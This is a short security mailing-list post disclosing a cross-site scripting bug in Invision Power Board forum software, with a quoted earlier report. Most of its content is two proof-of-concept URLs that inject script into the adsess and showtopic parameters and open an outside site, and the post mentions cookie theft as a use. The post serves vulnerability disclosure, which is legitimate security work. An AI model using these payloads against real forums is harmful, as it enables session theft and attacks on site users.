bug in Invision Power Board

[Boy Bear <eyal067 () walla co il>]

> I found possibility to run Script (java Script, VBScript) on the system 
> Invision Power Board...
> It's possible to do if it much {many} things like a withdrawal of 
> cookie, 
> advertising ....
>
>
> For example:
>
> http://forums.invisionpower.com/admin.php?
> adsess='><script>window.open
> (window.location.search.substring
> (78));&lt;/script&gt;<http://binaryvision.tech.nu?
> BoyBear$$$From$$$BinaryVision
>
>
>
>
>
> BoyBear From BinaryVision ( http://binaryvision.tech.nu )
>
> http://www.securityfocus.com/archive/1/332461/2003-08-07/2003-08-13/0

The bug the previous fix but .....

http://forums.invisionpower.com/index.php?showtopic=&apos;>&lt;script&gt;window.open
(window.location.search.substring(79))
&lt;/script&gt;http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision



BoyBear From BinaryVision ( http://binaryvision.tech.nu )